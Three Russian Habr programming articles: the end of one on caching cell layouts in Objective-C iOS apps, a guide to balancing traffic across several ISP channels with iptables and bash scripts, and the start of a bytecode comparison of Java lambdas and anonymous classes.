| `-subviewFrames` | `ViewModel` | Хранят `frames` тех `subviews`, которые напрямую зависят от данных из `viewModel`.В кэше хранятся `frames` только тех `subviews` , которые не меняют свое местоположение относительно других `subviews`.Хороший пример это поле с текстом в посте, его `{x,y}` всегда одни и те же. |
| `-subviewSizes` | `ViewModel` | Хранит размеры динамических `subviews`, например текст, который может разворачиваться и сворачиваться.А также хранит размеры тех `subviews`, которые располагаются под каким-либо динамическим элементом. |
### Структуры кэшей
Самой основополагающей чертой является тот факт, что **словари не должны иметь строгой типизации**.
Это делается для того, чтобы пользователь мог хранить дополнительные флаги или значения, которые будут помогать строить ему `UI`.
В кэшах имеется только одно традиционное деление - это деление на ширину экрана, оно нужно для того, чтобы поддерживать вариативность размеров и координат для разных ориентаций.
**Структура +subviewStaticFrames и -subviewFrames**
Кэши имеют одинаковую структуру, а разница заключается только в том, что первый хранит универсальные значения для всех ячеек данного класса, а второй хранит уникальные значения для каждой отдельной ячейки.
```
/*-------------------------------------------------------------
Structure of cache:
@{
| 320 : @{
| (screen) | "imgView" : nsValue(cgRect:25,25,300x50),
| (width) | "mainLbl" : nsValue(cgRect:50,25,300x50)
| },
}
-------------------------------------------------------------*/
```
**Структура -subviewSizes**
Как было написано выше, словари не должны иметь строгой типизации, ключ **"baseCellHeight"**, который находится в словаре, является наглядной демонстрацией этого правила.
В данном примере мы видим деление на `minSize` и `maxSize`, все деления являются условными и могут быть адаптируемые под ваш случай, например, вам ничто не мешает внедрить ключ `middleSize`, если на то будет надобность.
```
/*----------------------------------------------------------------
Structure of cache:
@{
| 320 : @{
| (screen) | "titleLbl" : @{
| (width) | | "minSize" : nsValue(cgSize300x50),
| | | "maxSize" : nsValue(cgSize300x50),
| | },
| |
| | "mainText" : @{
| | | "minSize" : nsValue(cgSize300x70),
| | | "maxSize" : nsValue(cgSize300x140),
| | },
| |
| | "baseCellHeight" : @190
| },
}-------------------------------------------------------------*/
```
---
Для более глубокого понимания какие кэши использовать в каких ситуациях, предлагаю обезличить пост пользователя и взглянуть на него как на набор прямоугольников, которые могут меняться в размерах и координатах.
**Зеленым цветом** представлены элементы `frames` которых хранятся в словаре `+subviewStaticFrames`,
который принадлежит классу ячейки.
Это сделано потому, что `frames` этих элементов всегда один и тот же, вне зависимости от модели данных, различие может быть только при смене ориентации.
---
**Синим цветом** представлены элементы `frames` которых хранятся в словаре `-subviewFrames`,
который принадлежит вьюМодели конкретного экземпляра ячейки.
Это сделано потому, что `size` этих элементов может различаться, потому что напрямую зависит от модели данных.
Обратите внимание, на то что, у данных `subviews` могут отличаться только размеры, а `{x.y}` для каждой из ориентаций являются статичными.
---
**Красным цветом** представлены элементы `sizes` которых хранятся в словаре `-subviewSizes`, который принадлежит вьюМодели конкретного экземпляра ячейки.
В словаре хранятся именно их размеры, а не координаты, это сделано потому что, их координаты могут изменяться в зависимости от `frames` их соседних `subviews`.
То есть, хранить `{x,y}` галереи фотографий не имеет смыслы, потому что они изменятся, если текст будет развернут.
Соответственно их `{x,y}` вычисляется каждый раз путем вызова метода, который вычисляет `frames`высшего `subview`, а затем мы самостоятельно прибавляем отступ к эту `frame`.
---
### Методы категории +Frames поддерживающие кэширование
**Демонстрация работы с словарем +subviewsStaticFrames**
Традиционно в качестве примера мы будем использовать ячейку, отображающую фото и имя друга нашего пользователя.
```
// FriendCell.h
@interface FriendCell : UITableViewCell
// UI
@property (nonatomic, strong, nullable) UIImageView* avatarImgView;
@property (nonatomic, strong, nullable) UILabel* fullNameLbl;
// ViewModel
@property (nonatomic, weak, nullable) FriendCellVM* viewModel;
@end
```
Сам словарь непосредственно объявляется как внутренние проперти в категории `+Frames`.
```
// FriendCell+Frames.m
static NSMutableDictionary\*
\_subviewsStaticFrames = nil;
@interface FriendCell ()
@property (nonatomic, strong, class)
NSMutableDictionary\* subviewsStaticFrames;
@end
@implementation FriendCell (Frames)
+ (CGRect) rectFor\_AvatarImgView:(FriendCellVM\*)viewModel
parentSize:(CGSize)parentSize
{
NSString\* property = @"avatarImgView";
// Извлекаем значение из кэша (если оно было кэшировано ранее)
if (FriendCell.subviewsStaticRects[@(parentSize.width)][property]){
return
[FriendCell.subviewsStaticRects[@(parentSize.width)][property] CGRectValue];
}
// Вычисляем
CGPoint point = CGPointMake(pt10, pt5);
CGSize size = CGSizeMake(44, 44);
CGRect rect = CGRectMake(point.x, point.y, size.width, size.height);
rect = CGRectIntegral(rect);
// Создаем вложенный словарь, который содержит значение для данной ориентации
if (!FriendCell.subviewsStaticRects[@(parentSize.width)]){
FriendCell.subviewsStaticRects[@(parentSize.width)] =
@{}.mutableCopy;
}
// Save in the cache
NSMutableDictionary\* nastedDict =
FriendCell.subviewsStaticRects[@(parentSize.width)];
nastedDict[@"avatarImgView"] = [NSValue valueWithCGRect:rect];
return rect;
}
@end
```
В итоге после вычислений для первой ячейки в нашем кэше будут значения, которые мы будем использовать при построении других экземпляров ячеек данного класса.
```
/*-------------------------------------------------------------
Structure of cache:
@{
| 320 : @{
| (screen) | "avatarImgView" : nsValue(cgRect:25,25,300x50),
| (width) | "fullNameLbl" : nsValue(cgRect:50,25,300x50)
| },
}
-------------------------------------------------------------*/
```
**Демонстрация работы с словарем -subviewsFrames**
Для примера случая, где может пригодиться `-subviewsFrames` мы выбрали ячейку, которая содержит текстовое сообщение пользователя.
```
// MessageCell.h
@interface MessageCell : UITableViewCell
...
// UI
@property (nonatomic, strong, nullable) UILabel* messageLbl;
// ViewModel
@property (nonatomic, weak, nullable) MessageCellVM* viewModel;
@end
```
На этот раз кэш-словарь содержит непосредственно экземпляр вьюМодели ячейки.
```
@interface MessageCellVM : NSObject
...
@property (nonatomic, strong)
NSMutableDictionary\* subviewsFrames;
@end
```
Ну и собственно - сам метод вычисления.Структура `-subviewsFrames` будет такая же, как и у `+subviewsStaticFrames`.
```
// MessageCell+Frames.m
+ (CGRect) rectFor_messageLbl:(MessageCellVM*)vm parentSize:(CGSize)parentSize
{
// Извлекаем значение из кэша (если оно было кэшировано ранее)
if (vm.subviewsFrames[@(parentSize.width)][@"messageLbl"]){
return
[vm.subviewsFrames[@(parentSize.width)][@"messageLbl"] CGRectValue];
}
// Вычисляем
float width = tableSize.width-(2*pt10);
CGPoint point = CGPointMake(25, 25);
CGSize size = [UILabel findHeightForText:vm.text
forWidth:width
font:[MessageCell font_messageLbl]];
CGRect rect = CGRectMake(point.x, point.y, size.width, size.height);
rect = CGRectIntegral(rect);
// Создаем вложенный словарь, который будет содержать
// значение для данной ориентации
if (!viewModel.subviewsFrames[@(parentSize.width)]){
viewModel.subviewsFrames[@(parentSize.width)] = @{}.mutableCopy;
}
[(NSMutableDictionary*)vm.subviewsFrames[@(parentSize.width)]
setObject:[NSValue valueWithCGRect:rect]forKey:@"messageLbl"];
return rect;
}
```
**Демонстрация работы с словарем -subviewSizes**
На сей раз, в качестве примера, будет рассмотрен случай, когда `UI` элемент может разворачиваться.
Это будет `UILabel` в ячейке поста пользователя.
```
@interface WallPostCell : UITableViewCell
...
// UI
@property (nonatomic, strong, nullable) UILabel* textLbl;
// ViewModel
@property (nonatomic, weak, nullable) WallPostCellVM* viewModel;
@end
```
Кэш-словарь также содержит вьюМодель ячейки.
```
@interface WallPostCellVM : NSObject
...
@property (nonatomic, strong)
NSMutableDictionary\*>\* subviewSizes;
@end
```
Если вы ранее вызывали метод и он уже закэшировал размер текстового поля, то метод также способен возвращать разные размеры, в зависимости от значения внутри флага `isExpandText`, хранящегося в `viewModel`.
По нажатию на кнопку "read more" вы будете менять значение переменной, и тогда метод будет возвращать вам нужный размер.
```
+ (CGRect) rectFor_textLbl:(WallPostCellVM*)vm tableSize:(CGSize)tableSize
{
CGRect rect = CGRectZero;
if (vm.text.length < 1){
return rect;
}
CGPoint point = CGPointMake(25,25);
CGSize size = CGSizeZero;
// Создаем вложенный словарь, который будет содержать
// значение для данной ориентации
if (!vm.subviewSizes[@(tableSize.width)]){
vm.subviewSizes[@(tableSize.width)] =
@{ @"textLbl" : @{}.mutableCopy }.mutableCopy;
}
NSMutableDictionary* nastedDict =
(NSMutableDictionary*)vm.subviewSizes[@(parentSize.width)][@"textLbl"];
// Вычисляем размер
if (!vm.subviewSizes[@(tableSize.width)][@"textLbl"])
{
float width = tableSize.width-(2*pt10);
CGSize textSize = [UILabel findHeightForText:vm.text
forWidth:width
font:[WallPostCell font_textLbl]];
// Записываем значение в кэш
if (textSize.height < minTextHeight){
NSValue* minSize =
[NSValue valueWithCGSize:CGSizeMake(width, minTextHeight)];
nastedDict[@"minSize"] = minSize;
nastedDict[@"maxSize"] = minSize;
}else if ((textSize.height >= minTextHeight) &&
(textSize.height <= maxTextHeight)){
NSValue* originalSize = [NSValue valueWithCGSize:textSize];
nastedDict[@"minSize"] = originalSize;
nastedDict[@"maxSize"] = originalSize;
}
else if (textSize.height > maxTextHeight){
nastedDict[@"minSize"] = [NSValue valueWithCGSize:CGSizeMake(width, maxTextHeight)];
nastedDict[@"maxSize"] = [NSValue valueWithCGSize:textSize];
nastedDict[@"isExceededTextLimit"] = @(YES);
}
}
if (vm.isExpandText){
size = [nastedDict[@"maxSize"] CGSizeValue];;
}else {
size = [nastedDict[@"minSize"] CGSizeValue];
}
rect = CGRectMake(point.x, point.y, size.width, size.height);
return rect;
}
```
### Вычисление высоты ячеек таблицы
Важной составляющей частью работы таблицы является вычисление высоты ячеек.
В нашей парадигме этот процесс должен выглядеть следующим образом:
Поскольку мы используем `MVVM` в качестве архитектурного паттерна для всего приложения, то каждое `view` (в том числе и `ViewController`) должно иметь собственную `viewModel`.
В случае с `TableViewController` его `viewModel` должен содержать массив с вьюМоделями ячеек, на основании которых строится сама таблица.
Обязательной для каждой ячейки является наличие метода `+calculateCellHeightFromVM:tableSize:`, в который мы передаем вьюМодель ячейки, а данный метод вычисляет и кэширует ее высоту.
Непосредственно процесс вычисления выглядит так:
1. Получаем `viewModel` ячейки по индексу из массива.
2. Вызываем вспомогательный метод `+getClassNameByViewModelCell`, который возвращает название `UI`класса ячейки по ее вьюМодели.
3. Конструкция `if` проверяет наичие данного метода у класса ячейки, и если он имеется, то вызывает соответствующий метод.
```
#pragma mark - UITableViewDelegate
/*-------------------------------------------------------
Запрашивает у делегата таблицы высоту ячейки по индексу
-------------------------------------------------------*/
- (CGFloat)tableView:(UITableView*)tableView
heightForRowAtIndexPath:(NSIndexPath *)indexPath
{
CGFloat height = 40.f;
// Получаем viewmodel ячейки из массива принадлежащего viewModel контроллера.
id vm = self.viewModel.cellsViewModel[indexPath.section];
Class cellClass = NSClassFromString([UserProfileTVC getClassNameByViewModelCell:vm]);
// Вызываем метод вычисления высоты ячейки по данным расположенным в viewModel
if ([cellClass respondsToSelector:@selector(calculateCellHeightFromVM:tableSize:)]){
height = [cellClass calculateCellHeightFromVM:vm tableSize:tableView.frame.size];
}
return roundf(height);
}
```
Метод-помощник возвращает название класса ячейки пользуясь функцией `NSStringFromClass()`.
```
/*---------------------------------------------------
Возвращает название класса ячейки после анализа
экземпляра переданной вьюМодели
-----------------------------------------------------*/
+ (NSString*) getClassNameByViewModelCell:(id)viewModel
{
NSString* identifier;
if ([viewModel isKindOfClass:[UserProfileCellVM class]])
identifier = NSStringFromClass([UserProfileCell class]);
if ([viewModel isKindOfClass:[UserProfileGalleryCellVM class]])
identifier = NSStringFromClass([UserProfileGalleryCell class]);
if ([viewModel isKindOfClass:[WallPostCellVM class]])
identifier = NSStringFromClass([WallPostCell class]);
if (!identifier)
identifier = NSStringFromClass([viewModel class]);
return identifier;
}
```
К слову говоря метод `cellForRowAtIndexPath` имеет такую же философию, что и `heightForRowAtIndexPath`.
```
/*-----------------------------
Запрашивает ячейку по индексу
-----------------------------*/
- (UITableViewCell *)tableView:(UITableView *)tableView
cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
UITableViewCell* cell = nil;
id vm = self.viewModel.cellsViewModel[indexPath.section];
// Получаем названия класса ячейки по типу класса вьюМодели
NSString* identifier =
[UserProfileTVC getClassNameByViewModelCell:vm];
cell = [tableView dequeueReusableCellWithIdentifier:identifier];
if (!cell){
cell = [[NSClassFromString(identifier) alloc]
initWithStyle:UITableViewCellStyleDefault
reuseIdentifier:identifier];
}
// Вставляем viewModel для дальнейшей конфигурации ячейки
if ([(id)cell respondsToSelector:@selector(setViewModel:)]){
[(id)cell setViewModel:vm];
}
return cell;
}
```
---
Реализация метода `+calculateCellHeightFromVM:tableSize:` может быть свободной.
В некоторых случаях вы можете возвращать строго заданную константу, в некоторых вычислять координаты самого нижнего `UI` элемента ячейки и прибавлять к нему отступ.
Ниже будут приведены несколько типичных реализаций:
**FriendCell**
Для этой ячейки высота задана несколькими константами.
```
+ (CGFloat) calculateCellHeightFromVM:(FriendCellVM*)vm
tableSize:(CGSize)tableSize
{
float cellHeight = pt5+defaultHeight+pt10;
return cellHeight;
}
```
**MessageCell**
В реализации расчета высоты для ячейки сообщения у нас вычисляется размеры текстового поля и к нему каждый раз прибавляется отступ.
То есть, сама высота не кэшируется, кэшируется только размер главного `subview`.
```
+ (CGFloat) calculateCellHeightFromVM:(MessageCellVM*)vm
tableSize:(CGSize)tableSize
{
if (!vm) return emptyMessageHeight;
float cellHeight = 0.f;
CGRect messageLabelRect =
[MessageCell rectFor_messageLbl:vm parentSize:tableSize];
cellHeight += CGRectGetMaxY(messageLabelRect)+pt10;
return cellHeight;
}
```
**WallPostCell**
В случае с ячейкой содержащей пост пользователя нам нужно обеспечить максимальную плавность и производительность при быстрой прокрутке.
Для достижения этой цели мы будем кэшировать не только размеры `subviews`, а еще и высоту самой ячейки, чтобы выиграть дополнительные миллисекунды для избежания доп.вычислений.
Реализация вспомогательных методов по типу `-isCalculatedHeight:` тут приведена не будет, по причине своей ненадобности.
Стоит лишь только сказать, что все это разного рода методы обертки, которые сокращают синтаксис при работе со словарями содержащими значения.
Для сложно составных ячеек, как правило, не хватает просто вызывать `rectFor_` метод возвращающий `frame` самого нижнего элемента, а требуется вызвать все методы вычисляющие все необходимые `frames`для всех `subviews`.
Что собственно и делает метод обертка `calculateCoordinatesForVM`, который просто вызывается все `rectFor_` методы подряд, тем самым кэширует значения для всех `subviews`.
```
+ (CGFloat) calculateCellHeightFromVM:(WallPostCellVM*)vm
tableSize:(CGSize)tableSize
{
if (!vm) return baseHeight;
if ([vm isCalculatedHeight:tableSize.width]) {
return (vm.isExpandText) ?
[vm maxHeight:tableSize.width] : [vm compactHeight:tableSize.width];
}
// Вычисляем координаты для subviews ячеек
[WallPostCell calculateCoordinatesForVM:vm tableSize:tableSize];
CGRect bottomElementRect = [WallPostCell rectFor_commentBtn:vm
tableSize:tableSize];
float cellHeight = CGRectGetMaxY(bottomElementRect)+pt10;
return cellHeight;
}
```
### Расчет размеров и координат subviews ячеек в фоне
Итак, последнюю вещью, которую мы можем предпринять для обеспечения максимальной плавности и производительности - это инициировать процесс вычисления размеров и координат в фоновом потоке.
Как правило, подобная возможность у нас появляется в методе `scrollViewDidScroll`, когда по достижению нижней границы таблицы мы запускаем процесс подгрузки новых данных.
Тогда, после получения вьюМоделей мы можем вызвать методы кэширования, которые будут выполняться на фоновом потоке.
```
#pragma mark -
/\*--------------------------------------------
Метод обрабатывает измения позиции скроллБара.
---------------------------------------------\*/
-(void) scrollViewDidScroll:(UIScrollView\*)scrollView
{
float contentOffsetY = scrollView.contentOffset.y;
float contentSizeHeight = scrollView.contentSize.height;
float tableViewHeight = CGRectGetHeight(self.tableView.frame);
if ((contentSizeHeight > 0) &&
((contentSizeHeight - contentOffsetY) <=
(tableViewHeight+(tableViewHeight/10))) &&
(!self.isLoadingData))
{
// Устанавливаем значение флага для избежания повторного
// попадания в if-блок.
self.isLoadingData = YES;
// Получаем размер таблицы, чтобы потом можно было
// воспользоваться значением в фоновом потоке
CGSize tableSize = self.tableView.frame.size;
[self.footerView.footerLoader startAnimating];
// Вызываем метод viewModel, для получения данных
\_\_weak UserProfileTVC\* weak = self;
[self.viewModel wallOpRunItself:NO onQueue:APIManager.aSyncQueue completion:^(NSError\* error, NSArray\* indexPaths){
...
// Таким образом вычилсяем и кэшируем все значения для
// контента внутри ячейки - здесь, на фоновом потоке.
for (WallPostCellVM\* cellVM in viewModels) {
[WallPostCell calculateCoordinatesForVM:cellVM
tableSize:tableSize];
}
MainQueue(^{
[weak.tableView reloadData];
weak.isLoadingData = NO;
[weak.footerView.footerLoader stopAnimating];
});
}];
}
}
```
### Заключение
[Фото: Петр Дудченко](https://dribbble.com/shots/14680253-Tourist-App)
Выпустив `SwiftUI`, Apple конечно же частично купирует проблему поддержки сложного `UI` для будущих приложений.
Но оставляет без всякого внимания абсолютное большинство уже существующих, которые по естественным причинам не могут использовать `SwiftUI` в своих проектах.
Паттерн `MFS` является своего рода ответом на кричащие потребности сегодняшнего многомиллионного рынка приложений.
Архитектурная грамотность, с которой был построен паттерн, дает возможность имплементировать его на устройствах, начиная буквально с самых первых версий iOS.
Что, в свою очередь, позволяет использовать решение таким гигантам рынка, как банковские приложения и социальные сети, которые должны охватывать максимальное количество действующих устройства.
Уверен в том, что в ближайшем обозримом будущем отрасль породит около десятка похожих решений, где философия `MFS` будет играть не последнюю роль.
Одна из главных задач `MFS` - это инициировать диалог в среде разработчиков и архитекторов, о том как всем нам грамотно отреагировать на данные изменения рынка. | https://habr.com/ru/post/539590/ | null | ru | null |
# Комбинированная балансировка нагрузки интернет-каналов
#### Предистория
Рано или поздно системный администратор сталкивается с необходимостью распределить трафик по нескольким каналам, при этом естественно желание чтобы каждый канал использовался по максимуму. Столкнувшись с подобной необходимостью, и решив не изобретать велосипед, обратился к помощи поисковиков. Так как сервер у меня на Ubuntu, то обратил свое внимание на статью <http://help.ubuntu.ru/wiki/ip_balancing>. Реализовал «Способ 1», но при тесте были замечены следующие критичные проблемы: при использовании ссылок на некоторых сайтах они не открывались (например при попытке включить музыку на ресурсе «ВКонтакте»). Причина очевидна — запрос шел через другой канал. Обдумав ситуацию, решил скомбинировать подход к балансировке. Логика проста — больше всего съедает трафика торренты и им подобные программы, поэтому разделяем трафик. В итоге трафик с портами до 11000 распределяем приблизительно равномерно по количеству абонентов — подсетями, трафиком с портами 11000-60000 выравниваем загрузку каналов.
#### Настройки
Предполагается что созданы таблицы маршрутизации для каждого из каналов, назовем их **chan1**, **chan2**, **chan3** — три канала соответственно.
Где-нибудь, например в /etc/rc.local добавляем что-то вроде:
```
ip rule add prio 101 fwmark 1 table chan1
ip rule add prio 102 fwmark 2 table chan2
ip rule add prio 103 fwmark 4 table chan3
```
Создаем скрипт /etc/rc.balance:
```
#!/bin/bash
lst='/etc/rc.balance.lst'
########### Flushing ##################
/sbin/iptables -t mangle -F PREROUTING
/sbin/iptables -t mangle -F POSTROUTING
/sbin/iptables -t mangle -F OUTPUT
#######################################
/etc/rc.baltor
/sbin/iptables -t mangle -A PREROUTING -d 172.16.0.0/16 -j RETURN
/sbin/iptables -t mangle -A PREROUTING -s 172.16.0.0/16 -m state --state INVALID -j DROP
while read net mark
do
/sbin/iptables -t mangle -A PREROUTING -s $net -m state --state new,related -j CONNMARK --set-mark $mark
done<$lst
/sbin/iptables -t mangle -A PREROUTING -s 172.16.0.0/16 -p udp --sport 11000:60000 --dport 11000:60000 -m state --state new,related -j BALANCE
/sbin/iptables -t mangle -A PREROUTING -s 172.16.0.0/16 -p tcp --sport 11000:60000 --dport 11000:60000 -m state --state new,related -j BALANCE
/sbin/iptables -t mangle -A PREROUTING -s 172.16.0.0/16 -j CONNMARK --restore-mark
exit 0
```
Создаем список распределения сеток по каналам (во второй колонке — марка):
```
172.16.0.0/22 1
172.16.4.0/22 2
172.16.8.0/22 4
```
Скрипт /etc/rc.baltor — правила балансировки:
```
#!/bin/bash
/sbin/iptables -t mangle -F BALANCE
lst='/etc/rc.cnload.lst'
mrk=1
while read kld
do
/sbin/iptables -t mangle -A BALANCE -j CONNMARK --set-mark $mrk
/sbin/iptables -t mangle -A BALANCE -m statistic --mode random --probability 0.$kld -j RETURN
mrk=`expr $mrk \* 2`
done < $lst
/sbin/iptables -t mangle -A BALANCE -j CONNMARK --set-mark $mrk
exit 0
```
Скрипт /etc/rc.cnload — расчет вероятности в зависимости от загрузки канала:
```
#!/bin/bash
cn1=800000 # ширина первого канала в килобитах в секунду
cn2=600000 # второго ..
cn3=400000 # и третьего
if1='eth1' # интерфейс первого канала
if2='eth2' # второго
if3='eth3' # третьего
lst='/etc/rc.cnload.lst'
a1=`ifconfig $if1 | grep "RX bytes" | awk '{print $2}' | awk -F: '{print $2}'`
a2=`ifconfig $if2 | grep "RX bytes" | awk '{print $2}' | awk -F: '{print $2}'`
a3=`ifconfig $if3 | grep "RX bytes" | awk '{print $2}' | awk -F: '{print $2}'`
sleep 20
b1=`ifconfig $if1 | grep "RX bytes" | awk '{print $2}' | awk -F: '{print $2}'`
b2=`ifconfig $if2 | grep "RX bytes" | awk '{print $2}' | awk -F: '{print $2}'`
b3=`ifconfig $if3 | grep "RX bytes" | awk '{print $2}' | awk -F: '{print $2}'`
c1=`expr \( $b1 - $a1 \) \* 8 / 20000`
c2=`expr \( $b2 - $a2 \) \* 8 / 20000`
c3=`expr \( $b3 - $a3 \) \* 8 / 20000`
d1=`expr \( $cn1 - $c1 \) \* 100 / $cn1`
d2=`expr \( $cn2 - $c2 \) \* 100 / $cn2`
d3=`expr \( $cn3 - $c3 \) \* 100 / $cn3`
# выполняем корректировку при загрузке одного из каналов более 60%
if [ $d1 -lt "40" -o $d2 -lt "40" -o $d3 -lt "40" ]
then
e1=`expr 100 \* $d1 / \( $d1 + $d2 + $d3 \)`
e2=`expr 100 \* $d2 / \( $d2 + $d3 \)`
f1=`head -n 1 $lst | tail -n 1`
f2=`head -n 2 $lst | tail -n 1`
# корректировка если коэффициенты изменились
if [ $e1 -ne $f1 -a $e2 -ne $f2 ]
then
echo $e1 > $lst
echo $e2 >> $lst
/etc/rc.baltor
fi
fi
exit 0
```
Добавляем в /etc/rc.local
```
/etc/rc.balance
```
и в /etc/crontab
```
*/1 * * * * root /etc/rc.cnload
```
Важно, чтобы на момент старта уже существовал файл с коэффициентами /etc/rc.cnload.lst, его можно составить запуском скрипта /etc/rc.cnload.
#### Заключение
Данный метод упешно реализован в сети с 8000 абонентами. Кроме балансировки используется динамический шейпинг, но это уже тема для другой статьи.
Всем баланса во всем. | https://habr.com/ru/post/157401/ | null | ru | null |
# Как в Java выстрелить себе в ногу из лямбды и не промахнуться
Иногда можно услышать такие разговоры: никаких принципиальных изменений в Java 8 не произошло и лямбды это старые добрые анонимные классы щедро посыпанные синтаксическим сахаром. Как бы не так! Предлагаю сегодня поговорить, в чём отличие лямбд от анонимных классов. И почему попасть себе в ногу стало всё-таки сложнее.
Чтобы не отнимать время у тех, кто считает что уже освоился с анонимными функциями, простенькая задачка. Чем отличаются два фрагмента кода ниже:
```
public class AnonymousClass {
public Runnable getRunnable() {
return new Runnable() {
@Override
public void run() {
System.out.println("I am a Runnable!");
}
};
}
public static void main(String[] args) {
new AnonymousClass().getRunnable().run();
}
}
```
И второй фрагмент:
```
public class Lambda {
public Runnable getRunnable() {
return () -> System.out.println("I am a Runnable!");
}
public static void main(String[] args) {
new Lambda().getRunnable().run();
}
}
```
Если можете сходу ответить — решайте сами, хотите ли читать дальше.
### Декомпилируем
Смотрим байт код для обоих вариантов. (Подробная декомпиляция с флажком *-verbose* — под спойлером.)
***С анонимным классом***
```
Compiled from "AnonymousClass.java"
public class AnonymousClass {
public AnonymousClass();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
public java.lang.Runnable getRunnable();
Code:
0: new #2 // class AnonymousClass$1
3: dup
4: aload\_0
5: invokespecial #3 // Method AnonymousClass$1."":(LAnonymousClass;)V
8: areturn
public static void main(java.lang.String[]);
Code:
0: new #4 // class AnonymousClass
3: dup
4: invokespecial #5 // Method "":()V
7: invokevirtual #6 // Method getRunnable:()Ljava/lang/Runnable;
10: invokeinterface #7, 1 // InterfaceMethod java/lang/Runnable.run:()V
15: return
}
```
**RunnableAnonymousClassExperiment.class (подробная декомпиляция)**
```
Classfile /E:/.../src/main/java/AnonymousClass.class
Last modified 17.10.2016; size 518 bytes
MD5 checksum cf61f38da50d7062537edefea71995dc
Compiled from "AnonymousClass.java"
public class AnonymousClass
minor version: 0
major version: 52
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #8.#20 // java/lang/Object."":()V
#2 = Class #21 // AnonymousClass$1
#3 = Methodref #2.#22 // AnonymousClass$1."":(LAnonymousClass;)V
#4 = Class #23 // AnonymousClass
#5 = Methodref #4.#20 // AnonymousClass."":()V
#6 = Methodref #4.#24 // AnonymousClass.getRunnable:()Ljava/lang/Runnable;
#7 = InterfaceMethodref #25.#26 // java/lang/Runnable.run:()V
#8 = Class #27 // java/lang/Object
#9 = Utf8 InnerClasses
#10 = Utf8
#11 = Utf8 ()V
#12 = Utf8 Code
#13 = Utf8 LineNumberTable
#14 = Utf8 getRunnable
#15 = Utf8 ()Ljava/lang/Runnable;
#16 = Utf8 main
#17 = Utf8 ([Ljava/lang/String;)V
#18 = Utf8 SourceFile
#19 = Utf8 AnonymousClass.java
#20 = NameAndType #10:#11 // "":()V
#21 = Utf8 AnonymousClass$1
#22 = NameAndType #10:#28 // "":(LAnonymousClass;)V
#23 = Utf8 AnonymousClass
#24 = NameAndType #14:#15 // getRunnable:()Ljava/lang/Runnable;
#25 = Class #29 // java/lang/Runnable
#26 = NameAndType #30:#11 // run:()V
#27 = Utf8 java/lang/Object
#28 = Utf8 (LAnonymousClass;)V
#29 = Utf8 java/lang/Runnable
#30 = Utf8 run
{
public AnonymousClass();
descriptor: ()V
flags: ACC\_PUBLIC
Code:
stack=1, locals=1, args\_size=1
0: aload\_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
LineNumberTable:
line 1: 0
public java.lang.Runnable getRunnable();
descriptor: ()Ljava/lang/Runnable;
flags: ACC\_PUBLIC
Code:
stack=3, locals=1, args\_size=1
0: new #2 // class AnonymousClass$1
3: dup
4: aload\_0
5: invokespecial #3 // Method AnonymousClass$1."":(LAnonymousClass;)V
8: areturn
LineNumberTable:
line 3: 0
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC\_PUBLIC, ACC\_STATIC
Code:
stack=2, locals=1, args\_size=1
0: new #4 // class AnonymousClass
3: dup
4: invokespecial #5 // Method "":()V
7: invokevirtual #6 // Method getRunnable:()Ljava/lang/Runnable;
10: invokeinterface #7, 1 // InterfaceMethod java/lang/Runnable.run:()V
15: return
LineNumberTable:
line 12: 0
line 13: 15
}
SourceFile: "AnonymousClass.java"
InnerClasses:
#2; //class AnonymousClass$1
```
***С лямбдой***
```
Compiled from "Lambda.java"
public class Lambda {
public Lambda();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
public java.lang.Runnable getRunnable();
Code:
0: invokedynamic #2, 0 // InvokeDynamic #0:run:()Ljava/lang/Runnable;
5: areturn
public static void main(java.lang.String[]);
Code:
0: new #3 // class Lambda
3: dup
4: invokespecial #4 // Method "":()V
7: invokevirtual #5 // Method getRunnable:()Ljava/lang/Runnable;
10: invokeinterface #6, 1 // InterfaceMethod java/lang/Runnable.run:()V
15: return
}
```
**Lambda.class (подробная декомпиляция)**
```
Classfile /E:/.../src/main/java/Lambda.class
Last modified 17.10.2016; size 1095 bytes
MD5 checksum f09061410dfbe358c50880576557b64e
Compiled from "Lambda.java"
public class Lambda
minor version: 0
major version: 52
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #10.#22 // java/lang/Object."":()V
#2 = InvokeDynamic #0:#27 // #0:run:()Ljava/lang/Runnable;
#3 = Class #28 // Lambda
#4 = Methodref #3.#22 // Lambda."":()V
#5 = Methodref #3.#29 // Lambda.getRunnable:()Ljava/lang/Runnable;
#6 = InterfaceMethodref #30.#31 // java/lang/Runnable.run:()V
#7 = Fieldref #32.#33 // java/lang/System.out:Ljava/io/PrintStream;
#8 = String #34 // I am a Runnable!
#9 = Methodref #35.#36 // java/io/PrintStream.println:(Ljava/lang/String;)V
#10 = Class #37 // java/lang/Object
#11 = Utf8
#12 = Utf8 ()V
#13 = Utf8 Code
#14 = Utf8 LineNumberTable
#15 = Utf8 getRunnable
#16 = Utf8 ()Ljava/lang/Runnable;
#17 = Utf8 main
#18 = Utf8 ([Ljava/lang/String;)V
#19 = Utf8 lambda$getRunnable$0
#20 = Utf8 SourceFile
#21 = Utf8 Lambda.java
#22 = NameAndType #11:#12 // "":()V
#23 = Utf8 BootstrapMethods
#24 = MethodHandle #6:#38 // invokestatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#25 = MethodType #12 // ()V
#26 = MethodHandle #6:#39 // invokestatic Lambda.lambda$getRunnable$0:()V
#27 = NameAndType #40:#16 // run:()Ljava/lang/Runnable;
#28 = Utf8 Lambda
#29 = NameAndType #15:#16 // getRunnable:()Ljava/lang/Runnable;
#30 = Class #41 // java/lang/Runnable
#31 = NameAndType #40:#12 // run:()V
#32 = Class #42 // java/lang/System
#33 = NameAndType #43:#44 // out:Ljava/io/PrintStream;
#34 = Utf8 I am a Runnable!
#35 = Class #45 // java/io/PrintStream
#36 = NameAndType #46:#47 // println:(Ljava/lang/String;)V
#37 = Utf8 java/lang/Object
